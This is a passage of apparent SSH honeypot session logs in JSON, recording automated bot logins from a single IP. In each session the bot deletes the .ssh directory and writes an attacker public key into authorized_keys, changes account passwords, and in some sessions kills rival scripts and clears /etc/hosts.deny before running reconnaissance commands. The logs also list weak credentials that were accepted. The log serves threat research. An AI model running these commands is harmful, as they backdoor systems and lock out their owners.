-l"},{"seq":20,"at":"2026-08-27T08:06:05.222796+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T08:06:05.557185+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T08:06:05.817813+00:00","kind":"output","latency_ms":null,"data":"top - 08:06:05 up 7 days, 4:56, 0 user, load average: 0.16, 0.13, 0.13\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T08:06:06.152626+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T08:06:06.933185+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T08:06:07.268234+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T08:06:07.559214+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T08:06:07.893427+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T08:06:08.393219+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":29,"at":"2026-08-27T08:06:08.726626+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T08:06:09.944705+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T08:06:10.278393+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:06:11.270654+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftpuser","password":"p4ssw0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"7352cbb2-5e48-49fc-9aca-9aaf3991e360","name":"sooty-grumpy-adder","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":50852,"username":"alex","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":334,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:04:07.709778+00:00","ended_at":"2026-08-27T08:04:09.679566+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2263,"events":[{"seq":1,"at":"2026-08-27T08:03:48.101671+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T08:03:48.433923+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T08:03:52.364031+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T08:03:52.856375+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T08:03:53.190997+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Password123!\\nmgdTBXWltIr0\\nmgdTBXWltIr0\"|passwd|bash"},{"seq":6,"at":"2026-08-27T08:03:53.522176+00:00","kind":"input","latency_ms":null,"data":"echo \"Password123!\\nmgdTBXWltIr0\\nmgdTBXWltIr0\\n\"|passwd"},{"seq":7,"at":"2026-08-27T08:03:53.857705+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T08:03:54.627892+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T08:03:54.964003+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T08:03:56.235323+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T08:03:56.570560+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T08:03:57.769787+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T08:03:58.105774+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T08:03:58.895691+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T08:03:59.226126+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T08:03:59.969424+00:00","kind":"output","latency_ms":null,"data":" 08:03:59 up 7 days, 4:54, 0 user, load average: 0.15, 0.17, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T08:04:00.302028+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T08:04:01.141794+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T08:04:01.478771+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T08:04:02.346261+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T08:04:02.681016+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T08:04:03.508516+00:00","kind":"output","latency_ms":null,"data":"top - 08:04:03 up 7 days, 4:54, 0 user, load average: 0.15, 0.17, 0.16\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T08:04:03.839955+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T08:04:04.456227+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T08:04:04.790274+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T08:04:05.275874+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T08:04:05.609023+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T08:04:06.086490+00:00","kind":"output","latency_ms":null,"data":"alex"},{"seq":29,"at":"2026-08-27T08:04:06.420283+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T08:04:07.377668+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T08:04:07.710868+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:04:09.580242+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"alex","password":"Password123!","method":"password","accepted":true,"tier":"other"}]} {"id":"e709c5e7-de06-47f6-b4f4-902423420575","name":"dusky-ruddy-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":59532,"username":"root2","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":356,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:02:04.456470+00:00","ended_at":"2026-08-27T08:02:06.170696+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2305,"events":[{"seq":1,"at":"2026-08-27T08:01:45.384635+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T08:01:45.738127+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T08:01:50.134078+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T08:01:50.666968+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T08:01:51.024716+00:00","kind":"input","latency_ms":null,"data":"echo \"root:IrEV5VQ9zhF6\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T08:01:51.377303+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T08:01:51.730916+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T08:01:51.987831+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T08:01:52.342820+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T08:01:53.724119+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T08:01:54.081590+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T08:01:55.472999+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T08:01:55.830217+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T08:01:56.181517+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T08:01:56.537090+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T08:01:57.302131+00:00","kind":"output","latency_ms":null,"data":" 08:01:57 up 7 days, 4:52, 0 user, load average: 0.04, 0.04, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T08:01:57.658556+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T08:01:58.343890+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T08:01:58.699096+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T08:01:59.273634+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T08:01:59.630560+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T08:02:00.086094+00:00","kind":"output","latency_ms":null,"data":"top - 08:02:00 up 7 days, 4:52, 0 user, load average: 0.04, 0.04, 0.03\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T08:02:00.441219+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T08:02:00.820266+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T08:02:01.175853+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T08:02:01.620306+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T08:02:01.979291+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T08:02:02.329426+00:00","kind":"output","latency_ms":null,"data":"root2"},{"seq":29,"at":"2026-08-27T08:02:02.685135+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T08:02:04.104373+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T08:02:04.458450+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:02:06.061488+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root2","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"0786c559-9e56-498d-ae22-98af685d2aac","name":"brave-fabled-ptarmigan","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":39980,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":349,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:00:00.115200+00:00","ended_at":"2026-08-27T08:00:01.100021+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T07:59:40.650167+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:59:40.998326+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:59:45.063221+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:59:45.471750+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:59:45.819906+00:00","kind":"input","latency_ms":null,"data":"echo \"root:wwGCdmvz3AdZ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T07:59:46.167839+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T07:59:46.514890+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:59:47.328283+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:59:47.677734+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:59:48.502969+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:59:48.852934+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:59:49.754302+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:59:50.105991+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:59:50.822813+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:59:51.172377+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:59:51.751217+00:00","kind":"output","latency_ms":null,"data":" 07:59:51 up 7 days, 4:49, 0 user, load average: 0.1, 0.11, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:59:52.104100+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:59:52.522142+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:59:52.872511+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:59:53.751177+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:59:54.102824+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:59:54.813153+00:00","kind":"output","latency_ms":null,"data":"top - 07:59:54 up 7 days, 4:50, 0 user, load average: 0.1, 0.11, 0.11\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:59:55.162086+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:59:55.743394+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:59:56.093442+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:59:56.969112+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:59:57.318415+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:59:58.160834+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T07:59:58.510677+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:59:59.766993+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T08:00:00.115869+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:00:00.995520+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"8899","method":"password","accepted":true,"tier":"other"}]} {"id":"44d52360-b629-4e36-ab77-9c65f0ede2bf","name":"stoic-nameless-thrush","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":48678,"username":"hduser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":334,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:57:46.188063+00:00","ended_at":"2026-08-27T07:57:47.108583+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T07:57:28.721572+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:57:29.050698+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:57:32.452631+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:57:32.766399+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:57:33.098912+00:00","kind":"input","latency_ms":null,"data":"echo -e \"hduser\\nxJ9yVYYDA1TA\\nxJ9yVYYDA1TA\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:57:33.432704+00:00","kind":"input","latency_ms":null,"data":"echo \"hduser\\nxJ9yVYYDA1TA\\nxJ9yVYYDA1TA\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:57:33.765104+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:57:34.232341+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:57:34.563704+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:57:35.500635+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:57:35.836493+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:57:37.006967+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:57:37.350547+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:57:38.122734+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:57:38.456044+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:57:39.123321+00:00","kind":"output","latency_ms":null,"data":" 07:57:39 up 7 days, 4:47, 0 user, load average: 0.19, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:57:39.455791+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:57:39.898832+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:57:40.233561+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:57:40.835665+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:57:41.169802+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:57:41.449964+00:00","kind":"output","latency_ms":null,"data":"top - 07:57:41 up 7 days, 4:47, 0 user, load average: 0.19, 0.24, 0.18\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:57:41.784391+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:57:42.373626+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:57:42.710296+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:57:43.165903+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:57:43.501824+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:57:44.263607+00:00","kind":"output","latency_ms":null,"data":"hduser"},{"seq":29,"at":"2026-08-27T07:57:44.598277+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:57:45.854122+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:57:46.188642+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 